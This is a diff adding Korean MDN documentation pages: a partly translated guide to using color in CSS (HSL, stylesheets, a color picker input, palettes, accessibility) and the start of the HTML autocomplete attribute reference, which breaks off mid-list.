+ <li>Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.</li>
+ <li>Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.</li>
+</ol>
+
+<p>You can also optionally include an alpha channel, to make the color less than 100% opaque.</p>
+
+<p>Here are some sample colors in HSL notation:</p>
+
+<div id="hsl-swatches">
+<div class="hidden">
+<pre class="brush: css">table {
+ border: 1px solid black;
+ font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+ border-spacing: 0;
+ border-collapse: collapse;
+}
+
+th, td {
+ border: 1px solid black;
+ padding:4px 6px;
+ text-align: left;
+}
+
+th {
+ background-color: hsl(0, 0%, 75%);
+}</pre>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th scope="col"&gt;Color in HSL notation&lt;/th&gt;
+ &lt;th scope="col"&gt;Example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;code&gt;hsl(90deg, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+ &lt;td style="background-color: hsl(90deg, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;code&gt;hsl(90, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+ &lt;td style="background-color: hsl(90, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;code&gt;hsl(0.15turn, 50%, 75%)&lt;/code&gt;&lt;/td&gt;
+ &lt;td style="background-color: hsl(0.15turn, 50%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 75%)&lt;/code&gt;&lt;/td&gt;
+ &lt;td style="background-color: hsl(0.15turn, 90%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+ &lt;td style="background-color: hsl(0.15turn, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;code&gt;hsl(270deg, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+ &lt;td style="background-color: hsl(270deg, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("hsl-swatches", 300, 260)}}</p>
+</div>
+
+<div class="note">
+<p>Note that when you omit the hue's unit, it's assumed to be in degrees (<code>deg</code>).</p>
+</div>
+
+<h2 id="색_사용하기">색 사용하기</h2>
+
+<p>Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.</p>
+
+<h3 id="스타일_시트에_색_지정하기">스타일 시트에 색 지정하기</h3>
+
+<p>The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.</p>
+
+<p>Let's take a look at an example, starting by looking at the results we're trying to achieve:</p>
+
+<div>{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<p>The HTML responsible for creating the above example is shown here:</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box boxLeft"&gt;
+ &lt;p&gt;
+ This is the first box.
+ &lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div class="box boxRight"&gt;
+ &lt;p&gt;
+ This is the second box.
+ &lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <code>&lt;div&gt;</code>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.</p>
+
+<p>The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.</p>
+
+<pre class="brush: css">.wrapper {
+ width: 620px;
+ height: 110px;
+ margin: 0;
+ padding: 10px;
+ border: 6px solid mediumturquoise;
+}</pre>
+
+<p>The <code>.wrapper</code> class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.</p>
+
+<p>Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color <code>mediumturquoise</code>.</p>
+
+<p>Our two colored boxes share a number of properties in common, so next we establish a class, <code>.box</code>, that defines those shared properties:</p>
+
+<pre class="brush: css">.box {
+ width: 290px;
+ height: 100px;
+ margin: 0;
+ padding: 4px 6px;
+ font: 28px "Marker Felt", "Zapfino", cursive;
+ display: flex;
+ justify-content: center;
+ align-items: center;
+}</pre>
+
+<p>In brief, <code>.box</code> establishes the size of each box, as well as the configuration of the font used within. We also take advantage of <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a> to easily center the contents of each box. We enable <code>flex</code> mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to <code>center</code>. Then we can create a class for each of the two boxes that defines the properties that differ between the two.</p>
+
+<pre class="brush: css">.boxLeft {
+ float: left;
+ background-color: rgb(245, 130, 130);
+ outline: 2px solid darkred;
+}</pre>
+
+<p>The <code>.boxLeft</code> class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:</p>
+
+<ul>
+ <li>The box's background color is set by changing the value of the CSS {{cssxref("background-color")}} property to <code>rgb(245, 130, 130)</code>.</li>
+ <li>An outline is defined for the box. Unlike the more commonly used <code>border</code>, {{cssxref("outline")}} doesn't affect layout at all; it draws over the top of whatever may happen to be outside the element's box instead of making room as <code>border</code> does. This outline is a solid, dark red line that's two pixels thick. Note the use of the <code>darkred</code> keyword when specifying the color.</li>
+ <li>Notice that we're not explicitly setting the text color. That means the value of {{cssxref("color")}} will be inherited from the nearest containing element that defines it. By default, that's black.</li>
+</ul>
+
+<pre class="brush: css">.boxRight {
+ float: right;
+ background-color: hsl(270deg, 50%, 75%);
+ outline: 4px dashed rgb(110, 20, 120);
+ color: hsl(0deg, 100%, 100%);
+ text-decoration: underline wavy #88ff88;
+ text-shadow: 2px 2px 3px black;
+}</pre>
+
+<p>Finally, the <code>.boxRight</code> class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:</p>
+
+<ul>
+ <li>The <code>background-color</code> is set using the HSL value specified using <code>hsl(270deg, 50%, 75%)</code>. This is a medium purple color.</li>
+ <li>The box's <code>outline</code> is used to specify that the box should be enclosed in a four pixel thick dashed line whose color is a somewhat deeper purple (<code>rgb(110, 20, 120)</code>).</li>
+ <li>The foreground (text) color is specified by setting the {{cssxref("color")}} property to <code>hsl(0deg, 100%, 100%)</code>. This is one of many ways to specify the color white.</li>
+ <li>We add a green wavy line under the text with {{cssxref("text-decoration")}}.</li>
+ <li>Finally, a bit of a shadow is added to the text using {{cssxref("text-shadow")}}. Its <code>color</code> parameter is set to <code>black</code>.</li>
+</ul>
+
+<h2 id="사용자의_색_선택">사용자의 색 선택</h2>
+
+<p>There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using <code>"color"</code> as the value of its {{htmlattrxref("type", "input")}} attribute.</p>
+
+<p>The <code>&lt;input&gt;</code> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.</p>
+
+<h3 id="예제_색_선택하기">예제: 색 선택하기</h3>
+
+<p>Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.</p>
+
+<p>{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}</p>
+
+<div class="note">
+<p>On macOS, you indicate that you've finalized selection of the color by closing the color picker window.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+ &lt;label for="colorPicker"&gt;Border color:&lt;/label&gt;
+ &lt;input type="color" value="#8888ff" id="colorPicker"&gt;
+ &lt;p id="output"&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...</p>
+
+<pre class="brush: css">#box {
+ width: 500px;
+ height: 200px;
+ border: 2px solid rgb(245, 220, 225);
+ padding: 4px 6px;
+ font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <code><a href="/en-US/docs/Web/HTML/Element/input/color">&lt;input type="color"&gt;</a></code> element.</p>
+
+<pre class="brush: js">let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+ box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+ output.innerText = "Color set to " + colorPicker.value + ".";
+}, false);</pre>
+
+<p>The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.</p>
+
+<p>The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <code>&lt;p&gt;</code> element with the ID <code>"output"</code> to a string describing the finally selected color.</p>
+
+<h2 id="현명하게_색_고르기">현명하게 색 고르기</h2>
+
+<p>Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.</p>
+
+<h3 id="적절한_색_찾기">적절한 색 찾기</h3>
+
+<p>Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.</p>
+
+<h4 id="기본색">기본색</h4>
+
+<p>The first step is to choose your <strong>base color</strong>. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:</p>
+
+<ul>
+ <li>A color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey.</li>
+ <li>A color that comes from imagery associated with what your content is about. If you're creating a web site about a given item or product, choose a color that's physically present on that item.</li>
+ <li>Browse web sites that let you look at lots of existing color palettes and images to find inspiration.</li>
+</ul>
+
+<p>When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site <a href="http://www.colorzilla.com/">ColorZilla</a> offers an extension (<a href="http://www.colorzilla.com/chrome">Chrome</a> / <a href="http://www.colorzilla.com/firefox">Firefox</a>) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.</p>
+
+<div class="note">
+<p>The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.</p>
+</div>
+
+<h4 id="팔레트_다듬기">팔레트 다듬기</h4>
+
+<p>Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.</p>
+
+<p>A few examples (all free to use as of the time this list was last revised):</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">MDN's color picker tool</a></li>
+ <li><a href="http://paletton.com">Paletton</a></li>
+ <li><a href="https://color.adobe.com/create/color-wheel">Adobe Color CC online color wheel</a></li>
+</ul>
+
+<p>When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.</p>
+
+<div class="note">
+<p>Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.</p>
+</div>
+
+<h3 id="색채이론_관련_자료">색채이론 관련 자료</h3>
+
+<p>A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:</p>
+
+<dl>
+ <dt><a href="https://www.khanacademy.org/partner-content/pixar/color">Color Science</a> (<a href="https://www.khanacademy.org/">Khan Academy</a> in association with <a href="https://www.pixar.com/">Pixar</a>)</dt>
+ <dd>An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.</dd>
+ <dt>{{interwiki("wikipedia", "Color theory")}} on Wikipedia</dt>
+ <dd>Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.</dd>
+</dl>
+
+<h3 id="색과_접근성">색과 접근성</h3>
+
+<p>There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.</p>
+
+<p>You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.</p>
+
+<div class="note">
+<p>The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.</p>
+</div>
+
+<p>For more information about color blindness, see the following articles:</p>
+
+<ul>
+ <li><a href="https://medlineplus.gov/colorblindness.html">Medline Plus: Color Blindness</a> (United States National Institute of Health)</li>
+ <li><a href="https://www.aao.org/eye-health/diseases/what-is-color-blindness">American Academy of Ophthamology: What Is Color Blindness?</a></li>
+ <li><a href="https://www.usability.gov/get-involved/blog/2010/02/color-blindness.html">Color Blindness &amp; Web Design</a> (Usability.gov: United States Department of Health and Human Services)</li>
+</ul>
+
+<h3 id="팔레트_디자인_예제">팔레트 디자인 예제</h3>
+
+<p>Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a <a href="https://www.google.com/search?q=Mars&amp;tbm=isch">Google search for photos of Mars</a>. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.</p>
+
+<p>Using an eyedropper tool, we identify a color we like and determine that the color in question is <code>#D79C7A</code>, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.</p>
+
+<p>Having selected our base color, we need to build out our palette. We decide to use <a href="http://www.paletton.com/">Paletton</a> to come up with the other colors we need. Upon opening Paletton, we see:</p>
+
+<p><img alt="Right after loading Paletton." src="https://mdn.mozillademos.org/files/15451/paletton1.png" style="height: 361px; width: 600px;"></p>
+
+<p>Next, we enter our color's hex code (<code>D79C7A</code>) into the "Base RGB" box at the bottom-left corner of the tool:</p>
+
+<p><img alt="After entering base color" src="https://mdn.mozillademos.org/files/15453/paletton2.png" style="height: 361px; width: 600px;"></p>
+
+<p>We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is <code>#508D7C</code>.</p>
+
+<p><img alt="Now with complementary colors included." src="https://mdn.mozillademos.org/files/15455/paletton3.png" style="height: 361px; width: 600px;"></p>
+
+<p>If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15457/paletton4.png" style="height: 361px; width: 600px;"></p>
+
+<p>That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's <code>#556E8D</code>. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15459/paletton-color-detail.png" style="height: 370px; width: 526px;"></p>
+
+<p>Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.</p>
+
+<p>Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.</p>
+
+<h3 id="색_배경_대비_출력">색, 배경, 대비, 출력</h3>
+
+<p>What looks good on screen may look very different on paper. In addition, ink can be expensive, and if a user is printing your page, they don't necessarily need all the backgrounds and such using up their precious ink when all that matters is the text itself. Most browsers, by default, remove background images when printing documents.</p>
+
+<p>If your background colors and images have been selected carefully and/or are crucial to the usefulness of the content, you can use the CSS {{cssxref("color-adjust")}} property to tell the browser that it should not make adjustments to the appearance of content.</p>
+
+<p>The default value of <code>color-adjust</code>, <code>economy</code>, indicates that the browser is allowed to make appearance changes as it deems necessary in order to try to optimize the legibility and/or print economy of the content, given the type of output device the document is being drawn onto.</p>
+
+<p>You can set <code>color-adjust</code> to <code>exact</code> to tell the browser that the element or elements on which you use it have been designed specifically to best work with the colors and images left as they are. With this set, the browser won't tamper with the appearance of the element, and will draw it as indicated by your CSS.</p>
+
+<div class="note">
+<p><strong>참고:</strong> There is no guarantee, though, that <code>color-adjust: exact</code> will result in your CSS being used exactly as given. If the browser provides user preferences to change the output (such as a "don't print backgrounds" checkbox in a print dialog box), that overrides the value of <code>color-adjust</code>.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/ko/docs/Web/Guide/Graphics">웹 그래픽</a></li>
+</ul>
diff --git a/files/ko/web/html/attributes/autocomplete/index.html b/files/ko/web/html/attributes/autocomplete/index.html
new file mode 100644
index 0000000000..50c8de42f9
--- /dev/null
+++ b/files/ko/web/html/attributes/autocomplete/index.html
@@ -0,0 +1,247 @@
+---
+title: HTML autocomplete 특성
+slug: Web/HTML/Attributes/autocomplete
+tags:
+ - Attribute
+ - HTML
+ - Reference
+ - 자동완성
+translation_of: Web/HTML/Attributes/autocomplete
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong><code>autocomplete</code></strong> 특성을 사용하면 {{glossary("user agent", "사용자 에이전트")}}의 자동완성을 허용할 양식 입력 필드를 지정할 수 있으며, 사용자 에이전트에게 어떤 정보에 대한 자동완성을 원하는지 안내할 수도 있습니다.</span> HTML <code>autocomplete</code> 특성은 텍스트와 숫자를 허용하는 {{HTMLElement("input")}} 요소, {{HTMLElement("textarea")}} 요소, {{HTMLElement("select")}} 요소, {{HTMLElement("form")}} 요소에 사용할 수 있습니다.</p>
+
+<p>자동완성으로 제안할 값의 출처는 대개 브라우저가 선택합니다. 사전 정의된 값을 사용할 수도 있으나 보통 과거에 사용자가 입력했던 값을 사용합니다. 예를 들어 사용자가 입력한 이름, 주소, 전화번호, 이메일 주소를 브라우저에 저장할 방법을 제공하기도 하고, 신용카드 정보를 미리 암호화해 저장하고 인증절차 후 자동완성 값으로 쓸 수도 있습니다.</p>
+
+<p>{{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}} 요소에 <code>autocomplete</code> 특성을 지정하지 않은 경우, 브라우저는 요소의 양식 소유자, 즉 조상 {{HTMLElement("form")}} 요소 또는 {{htmlattrxref("form", "input")}} 특성의 값을 <code>id</code> 특성으로 사용하는 <code>&lt;form&gt;</code> 요소의 <code>autocomplete</code> 특성을 사용합니다.</p>
+
+<p>더 많은 정보는 {{HTMLElement("form")}} 요소의 {{htmlattrxref("autocomplete", "form")}} 특성을 참고하세요.</p>
+
+<div class="blockIndicator note">
+<p><code>&lt;input&gt;</code>/<code>&lt;select&gt;</code>/<code>&lt;textarea&gt;</code> 요소가 다음 조건을 만족해야 사용자 에이전트가 자동완성을 제공할 수도 있습니다.</p>
+
+<ol>
+ <li><code>name</code> 또는 <code>id</code> 특성 존재</li>
+ <li><code>&lt;form&gt;</code> 요소의 자손일 것</li>
+ <li>양식에 {{HTMLElement("input/submit", "제출")}} 버튼이 있을 것</li>
+</ol>
+</div>
+
+<h2 id="값">값</h2>
+
+<dl>
+ <dt><code>off</code></dt>
+ <dd>브라우저가 이 필드에 값을 자동으로 넣는 것을 금지합니다. 문서나 애플리케이션이 자신만의 자동완성 기능을 구현하거나, 보안상 문제로 자동완성을 사용하지 않아야 할 경우 지정할 수 있습니다.
+ <div class="note"><strong>참고:</strong> 대부분의 최신 브라우저에서는 <code>autocomplete</code>을 <code>off</code>로 지정하더라도 브라우저가 사용자에게 계정 이름과 비밀번호 저장 여부를 묻는 것을 막을 수 없으며, 저장한 값을 사용해 자동완성하는 것도 막을 수 없습니다. <a href="/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">The autocomplete attribute and login fields</a> 문서를 참고하세요.</div>
+ </dd>
+ <dt><code>on</code></dt>
+ <dd>브라우저의 자동완성을 허용합니다. 아무런 안내 정보도 제공하지 않으므로, 브라우저가 스스로의 판단 하에 값을 결정합니다.</dd>
+ <dt><code>name</code></dt>
+ <dd>사람의 전체 이름. 사람 이름 구조의 복잡함과 다양성으로 인해 보통 개별 이름 구성요소보다 <code>name</code>을 사용하는 것을 선호하지만, 하나씩 받아야 한다면 다음 <code>autocomplete</code> 값도 사용할 수 있습니다.
+ <dl>
+ <dt><code>honorific-prefix</code></dt>
+ <dd>호칭. "Mrs.", "Mr.", "Miss", "Ms.", "Dr.", "Mlle." 등.</dd>
+ <dt><code>family-name</code></dt>
+ <dd>성.</dd>
+ <dt><code>given-name</code></dt>
+ <dd>이름.</dd>
+ <dt><code>additional-name</code></dt>
+ <dd>가운데 이름.</dd>
+ <dt><code>honorific-suffix</code></dt>
+ <dd>접미사. "Jr.", "B.Sc.", "PhD.", "MBASW", "IV" 등.</dd>
+ <dt><code>nickname</code></dt>
+ <dd>별명, 별칭.</dd>
+ </dl>
+ </dd>
+ <dt><code>email</code></dt>
+ <dd>이메일 주소.</dd>
+ <dt><code>username</code></dt>
+ <dd>사용자 또는 계정 이름.</dd>
+ <dt><code>new-password</code></dt>
+ <dd>새로운 비밀번호. 계정을 생성할 때나 비밀번호를 변경할 때, new-password는 "새로운 비밀번호를 입력하세요" 또는 "비밀번호 확인"에 지정해야 합니다. 일반적인 비밀번호와 구분하는 이유는 브라우저가 기존 비밀번호를 자동완성으로 채우는 것을 피하기 위함이며, 안전한 무작위 비밀번호 생성을 제안할 곳을 결정할 때도 사용하기 때문입니다.</dd>
+ <dt><code>current-password</code></dt>
+ <dd>사용자의 현재 비밀번호.</dd>
+ <dt><code>one-time-code</code></dt>
+ <dd>사용자를 인증할 때 사용하는 1회성 코드.</dd>
+ <dt><code>organization-title</code></dt>
+ <dd>직위. "사장", "매니저", "시니어 테크니컬 커뮤니케이터" 등.</dd>
+ <dt><code>organization</code></dt>
+ <dd>회사 또는 조직명.</dd>
+ <dt><code>street-address</code></dt>
+ <dd>도로 주소. 여러 줄의 텍스트도 가능하며 두 번째 행정구역(시/군/구) 내에서 구분할 수 있는 주소여야 하지만, 도시 이름, 우편번호, 국가 이름은 포함해선 안됩니다.</dd>
+ <dt><code>address-line1</code>, <code>address-line2</code>, <code>address-line3</code></dt>
+ <dd>도로 주소의 각 줄. <code>street-address</code>가 존재하지 않는 경우에만 사용해야 합니다.</dd>
+ <dt><code>address-level4</code></dt>
+ <dd>4단계 주소에서 가장 상세한 {{anch("주소의 행정 단계", "행정구역")}}.</dd>
+ <dt><code>address-level3</code></dt>
+ <dd>최소 3단계 주소에서의 3단계 {{anch("주소의 행정 단계", "행정구역")}}.</dd>
+ <dt><code>address-level2</code></dt>
+ <dd>최소 2단계 주소에서의 2단계 {{anch("주소의 행정 단계", "행정구역")}}. 주소에 사용하는 행정구역을 두 단계로 분류하는 국가에서는 보통 도시, 마을 등입니다.</dd>
+ <dt><code>address-level1</code></dt>
+ <dd>첫 번째 {{anch("주소의 행정 단계", "행정구역")}}. 대한민국에서는 특별시·광역시·도, 미국에서는 주입니다.</dd>
+ <dt><code>country</code></dt>
+ <dd>국가 코드.</dd>
+ <dt><code>country-name</code></dt>
+ <dd>국가 이름.</dd>
+ <dt><code>postal-code</code></dt>
+ <dd>우편번호.</dd>
+ <dt><code>cc-name</code></dt>
+ <dd>신용카드 등 지불수단 소유자의 전체 이름. 보통 개별 이름 구성요소보다 이 쪽을 더 선호합니다.</dd>
+ <dt><code>cc-family-name</code></dt>
+ <dd>지불수단 소유자의 성.</dd>
+ <dt><code>cc-given-name</code></dt>
+ <dd>지불수단 소유자의 이름.</dd>
+ <dt><code>cc-additional-name</code></dt>
+ <dd>지불수단 소유자의 가운데 이름.</dd>
+ <dt><code>cc-number</code></dt>
+ <dd>신용카드 번호, 계좌번호 등 지불수단 식별 번호.</dd>
+ <dt><code>cc-exp</code></dt>
+ <dd>지불수단 유효기간. 보통 MM/YY 또는 MM/YYYY의 형태입니다.</dd>
+ <dt><code>cc-exp-month</code></dt>
+ <dd>지불수단 유효기간의 월.</dd>
+ <dt><code>cc-exp-year</code></dt>
+ <dd>지불수단 유효기간의 연도.</dd>
+ <dt><code>cc-csc</code></dt>
+ <dd>지불수단 보안 코드. 신용카드의 경우 뒷면의 세자리 숫자입니다.</dd>
+ <dt><code>cc-type</code></dt>
+ <dd>지불수단 유형. "Visa", "Master Card" 등.</dd>
+ <dt><code>transaction-currency</code></dt>
+ <dd>거래에 사용할 통화 단위.</dd>
+ <dt><code>transaction-amount</code></dt>
+ <dd>결제 양식에 나타나는 거래량, 금액. 단위는 <code>transaction-currency</code>에 나타난 값을 사용합니다.</dd>
+ <dt><code>language</code></dt>
+ <dd>선호 언어. <a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">유효한 BCP 47 언어 태그</a>여야 합니다.</dd>
+ <dt><code>bday</code></dt>
+ <dd>생년월일.</dd>
+ <dt><code>bday-day</code></dt>
+ <dd>생일.</dd>
+ <dt><code>bday-month</code></dt>
+ <dd>생월.</dd>
+ <dt><code>bday-year</code></dt>
+ <dd>생년.</dd>
+ <dt><code>sex</code></dt>
+ <dd>성별. "남성", "여성", "안드로진" 등 줄바꿈 없는 자유형식 텍스트입니다.</dd>
+ <dt><code>tel</code></dt>
+ <dd>국가 코드를 포함한 전체 전화번호. 개별 전화번호 구성요소가 필요한 경우 다음 값을 사용할 수 있습니다.
+ <dl>
+ <dt><code>tel-country-code</code></dt>
+ <dd>국가 코드. 1(북미), 82(대한민국) 등.</dd>
+ <dt><code>tel-national</code></dt>
+ <dd>국가 코드를 제외한 전체 전화번호. 지역번호도 포함합니다. 대한민국 전화번호 "82-2-555-6502"의 경우 "02-555-6502"가 됩니다.</dd>
+ <dt><code>tel-area-code</code></dt>
+ <dd>지역번호.</dd>
+ <dt><code>tel-local</code></dt>
+ <dd>국가 코드와 지역번호를 제외한 전화번호. 두 부분으로 나눌 수도 있으며, "555-6502"의 경우 <code>tel-local-prefix</code>는 "555", <code>tel-local-suffix</code>는 "6502"가 됩나다.</dd>
+ </dl>
+ </dd>
+ <dt><code>tel-extension</code></dt>
